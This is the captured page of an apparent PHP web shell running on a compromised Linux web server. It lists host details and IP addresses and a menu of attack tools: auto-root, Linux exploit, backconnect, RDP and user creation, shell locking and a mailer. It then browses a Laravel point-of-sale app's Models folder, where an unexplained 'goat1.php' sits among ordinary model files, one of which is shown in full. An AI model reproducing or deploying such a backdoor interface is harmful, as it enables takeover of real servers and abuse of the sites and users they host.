Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo1.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
Contracts
[ DIR ]
drwxr-xr-x
Adjustment.php
3.65
KB
-rw-r--r--
AdjustmentItem.php
3.02
KB
-rw-r--r--
BaseModel.php
865
B
-rw-r--r--
BaseUnit.php
1.79
KB
-rw-r--r--
Brand.php
3.25
KB
-rw-r--r--
Country.php
2.2
KB
-rw-r--r--
CouponCode.php
4.13
KB
-rw-r--r--
Currency.php
1.85
KB
-rw-r--r--
Customer.php
4.4
KB
-rw-r--r--
CustomerWallet.php
1.2
KB
-rw-r--r--
CustomerWalletTransaction.php
3.42
KB
-rw-r--r--
Expense.php
4.23
KB
-rw-r--r--
ExpenseCategory.php
2.39
KB
-rw-r--r--
FiscalYear.php
1.3
KB
-rw-r--r--
Hold.php
6.18
KB
-rw-r--r--
HoldItem.php
5.23
KB
-rw-r--r--
Language.php
2.2
KB
-rw-r--r--
MailTemplate.php
2.31
KB
-rw-r--r--
MainProduct.php
3.73
KB
-rw-r--r--
ManageStock.php
4.95
KB
-rw-r--r--
MultiTenant.php
1.55
KB
-rw-r--r--
POSRegister.php
3.71
KB
-rw-r--r--
PaymentMethod.php
1.59
KB
-rw-r--r--
Permission.php
1.87
KB
-rw-r--r--
Product.php
13.92
KB
-rw-r--r--
ProductCategory.php
3.07
KB
-rw-r--r--
Purchase.php
8.09
KB
-rw-r--r--
PurchaseItem.php
5.4
KB
-rw-r--r--
PurchaseReturn.php
7.01
KB
-rw-r--r--
PurchaseReturnItem.php
5.7
KB
-rw-r--r--
Quotation.php
6.25
KB
-rw-r--r--
QuotationItem.php
5.18
KB
-rw-r--r--
Role.php
4.86
KB
-rw-r--r--
Sale.php
9.99
KB
-rw-r--r--
SaleItem.php
5.03
KB
-rw-r--r--
SaleReturn.php
7.3
KB
-rw-r--r--
SaleReturnItem.php
5.53
KB
-rw-r--r--
SalesPayment.php
3.41
KB
-rw-r--r--
Setting.php
2.03
KB
-rw-r--r--
SmsSetting.php
1.46
KB
-rw-r--r--
SmsTemplate.php
2.26
KB
-rw-r--r--
State.php
1.99
KB
-rw-r--r--
Store.php
1.13
KB
-rw-r--r--
Supplier.php
3.11
KB
-rw-r--r--
Tax.php
991
B
-rw-r--r--
Transfer.php
5.88
KB
-rw-r--r--
TransferItem.php
4.54
KB
-rw-r--r--
Unit.php
2.48
KB
-rw-r--r--
User.php
6.37
KB
-rw-r--r--
UserStore.php
468
B
-rw-r--r--
Variation.php
2.24
KB
-rw-r--r--
VariationProduct.php
1.47
KB
-rw-r--r--
VariationType.php
492
B
-rw-r--r--
Warehouse.php
4.14
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MainProduct.php
<?php namespace App\Models; use App\Models\Contracts\JsonResourceful; use App\Traits\HasJsonResourcefulData; use App\Traits\Multitenantable; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use Spatie\MediaLibrary\HasMedia; use Spatie\MediaLibrary\InteractsWithMedia; use Stancl\Tenancy\Database\Concerns\BelongsToTenant; class MainProduct extends Model implements HasMedia, JsonResourceful { use HasFactory, HasJsonResourcefulData, InteractsWithMedia, BelongsToTenant, Multitenantable; protected $fillable = [ 'tenant_id', 'name', 'code', 'product_unit', 'product_type', ]; const JSON_API_TYPE = 'products'; const SINGLE_PRODUCT = 1; const VARIATION_PRODUCT = 2; const PATH = 'main_product'; protected $appends = ['image_url']; public static $rules = [ 'images.*' => 'image|mimes:jpg,jpeg,png,svg', ]; protected $casts = [ 'name' => 'string', 'code' => 'string', 'product_unit' => 'string', 'product_type' => 'integer', ]; public function getIdFilterFields(): array { return [ 'id' => self::class, ]; } public function prepareLinks(): array { return [ 'self' => route('products.show', $this->id), ]; } public function prepareAttributes(): array { $this->load('products'); $prices = collect($this->products)->pluck('product_price')->toArray(); $prices = !empty($prices) ? $prices : [0]; $fields = [ 'name' => $this->name, 'code' => $this->code, 'product_unit' => $this->getProductUnitName($this->product_unit), 'product_type' => $this->product_type, 'min_price' => min($prices), 'max_price' => max($prices), 'images' => $this->image_url, 'products' => $this->products->map(function ($product) { $productData = $product->prepareAttributes(); $productData['id'] = $product->id; return $productData; }), ]; if ($this->product_type == self::VARIATION_PRODUCT) { if ($this->variations == null) { return []; } $fields['variation'] = $this->variations->prepareAttributes(); $fields['variation_types'] = $this->variationTypes->map(function ($variationType) { return $variationType->only('id', 'name'); }); } return $fields; } /** * @return array|string */ public function getImageUrlAttribute() { /** @var Media $media */ $medias = $this->getMedia(MainProduct::PATH); $images = []; if (!empty($medias)) { foreach ($medias as $key => $media) { $images['imageUrls'][$key] = $media->getFullUrl(); $images['id'][$key] = $media->id; } return $images; } return ''; } public function products() { return $this->hasMany(Product::class); } public function variations() { return $this->hasOneThrough(Variation::class, VariationProduct::class, 'main_product_id', 'id', 'id', 'variation_id'); } public function variationTypes() { return $this->hasManyThrough(VariationType::class, VariationProduct::class, 'main_product_id', 'id', 'id', 'variation_type_id'); } /** * @return array|string */ public function getProductUnitName() { $productUnit = BaseUnit::whereId($this->product_unit)->first(); if ($productUnit) { return $productUnit->toArray(); } return ''; } }
Close